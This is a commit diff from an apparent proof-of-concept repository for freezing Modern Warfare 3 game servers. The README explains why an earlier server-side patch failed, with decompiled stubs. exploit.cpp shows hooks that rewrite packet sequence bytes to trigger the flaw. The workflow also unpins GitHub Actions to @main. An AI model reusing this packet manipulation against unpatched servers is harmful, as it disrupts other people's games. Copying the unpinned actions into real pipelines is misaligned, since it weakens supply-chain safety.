maint: major write up improvement. No functional changes

.github/workflows/build.yml

@@ -24,7 +24,7 @@ jobs:
           - Release
     steps:
       - name: Check out files
-        uses: actions/checkout@v3.3.0
+        uses: actions/checkout@main
         with:
           submodules: true
           fetch-depth: 0
@@ -32,7 +32,7 @@ jobs:
           lfs: false
 
       - name: Add msbuild to PATH
-        uses: microsoft/setup-msbuild@v1.3.1
+        uses: microsoft/setup-msbuild@main
 
       - name: Generate project files
         run: tools/premake5 vs2022
@@ -44,7 +44,7 @@ jobs:
         run: msbuild /m /v:minimal /p:Configuration=${{matrix.configuration}} /p:Platform=Win32 build/mw3-server-freezer.sln
 
       - name: Upload ${{matrix.configuration}} binaries
-        uses: actions/upload-artifact@v3.1.2
+        uses: actions/upload-artifact@main
         with:
           name: ${{matrix.configuration}} binaries
           path: |

README.md

@@ -10,9 +10,47 @@ This software has been created purely for the purposes of academic research. It
 
 ## Summary
 
-This software is a proof of concept for a vulnerability that is patched. You can't harm anyone with it if you use it on Pluto (If you were to update the addresses for the 1.9 patch).
+This software is a proof of concept for a vulnerability that is patched. You can't harm anyone with it if you use it on Pluto (If you were to update the addresses for the 1.9 patch of the game).
-You also can't use this vulnerability on Tekno as it was fixed last year (2.0.6 version of their client).
+You also can't use this vulnerability on Tekno as it was fixed in 2021 (2.0.6 version of their client).
 If you think your server is vulnerable you should seek help in the appropriate discord server or forum of the client you use.
+The exploit is documented in [exploit.cpp](https://github.com/diamante0018/MW3ServerFreezer/blob/main/src/client/component/exploit.cpp)
+
+## Update
+
+The original patch by the Tekno gods was done incorrectly.
+
+The patch made by Discord user "Zero Bytes" made the Netchan_Process stub return `-1` when suspicious packets were detected.
+The return value is completely non-sensical and allows for the execution of SV_PacketEvent to continue.
+
+```c
+int __cdecl Netchan_Process_stub(netchan_t* a1, msg_t* a2)
+{
+  if ( a2->cursize <= 14 || !a2->data[14] )
+    return Netchan_Process_Original(a1, a2);
+
+  // Forces the bytes of the packet to remain within acceptable values
+  a2->data[7] = 0;
+  a2->data[14] = 0;
+  // Returns wrong value. SV_PacketEvent is allowed to continue
+  return -1;
+}
+```
+
+Later revisions of the Tekno gods server DLL seem to have changed this behaviour and now the stub returns `0` when a suspicious packet is detected.
+
+```c
+int __cdecl Netchan_Process_stub(netchan_t* a1, msg_t* a2)
+{
+  if ( a2->cursize <= 14 || !a2->data[14] )
+    return Netchan_Process_Original(a1, a2);
+
+  // Redundant operation
+  a2->data[7] = 0;
+  a2->data[14] = 0;
+  // Returns correct value. SV_PacketEvent will return and it will not process the packet any further
+  return 0;
+}
+```
 
 ## Compile from source
 

src/client/component/exploit.cpp

@@ -20,28 +20,52 @@ game::dvar_t* cl_exploit;
  * https://stackoverflow.com/questions/58981714/how-do-i-change-the-value-of-a-single-byte-in-a-uint32-t-variable
  */
 
+/*
+ * On the server side the msg_t structure processed as follows:
+ * The first 4 bytes are read but not processed (offset 0)
+ * The following 2 bytes are read but not processed (offset 4)
+ * The following 1 byte is read and corresponds to the client_t.serverId (offset
+ * 6) The following 4 bytes are read and corresponds to the
+ * client_t.>messageAcknowledge (offset 7) The following 4 bytes are read and
+ * corresponds to the client_t.reliableAcknowledge (offset 11)
+ */
+
+/**
+ * MSG_WriteLong stub which writes clc.serverMessageSequence.
+ * Tekno gods will check in their Netchan_Process stub this byte is 0. If it is
+ * not 0 it will trigger their patch.
+ * @param[out] msg The message to write to.
+ * @param[in] data The data to modify
+ */
 void write_message_sequence(game::msg_t* msg, int data) {
   if (msg->maxsize - static_cast<unsigned int>(msg->cursize) < sizeof(int)) {
     msg->overflowed = TRUE;
     return;
   }
 
-  if (cl_exploit->current.enabled)
+  if (cl_exploit->current.enabled) {
     data = (data & 0xFFFFFF00) | 0xAAu;
+  }
 
   auto* dest = reinterpret_cast<int*>(&msg->data[msg->cursize]);
   *dest = data;
   msg->cursize += sizeof(int);
 }
 
+/**
+ * MSG_WriteLong stub which writes clc.serverCommandSequence
+ * @param[out] msg The message to write to.
+ * @param[in] data The data to modify
+ */
 void write_command_sequence(game::msg_t* msg, int data) {
   if (msg->maxsize - static_cast<unsigned int>(msg->cursize) < sizeof(int)) {
     msg->overflowed = TRUE;
     return;
   }
 
-  if (cl_exploit->current.enabled)
+  if (cl_exploit->current.enabled) {
     data = (data & 0x00FFFFFF) | (0x80u << 24);
+  }
 
   auto* dest = reinterpret_cast<int*>(&msg->data[msg->cursize]);
   *dest = data;

src/common/utils/info_string.cpp

@@ -30,7 +30,10 @@ void info_string::parse(std::string buffer) {
        i += 2) {
     const auto& key = key_values[i];
     const auto& value = key_values[i + 1];
-    this->key_value_pairs_[key] = value;
+
+    if (!this->key_value_pairs_.contains(key)) {
+      this->key_value_pairs_[key] = value;
+    }
   }
 }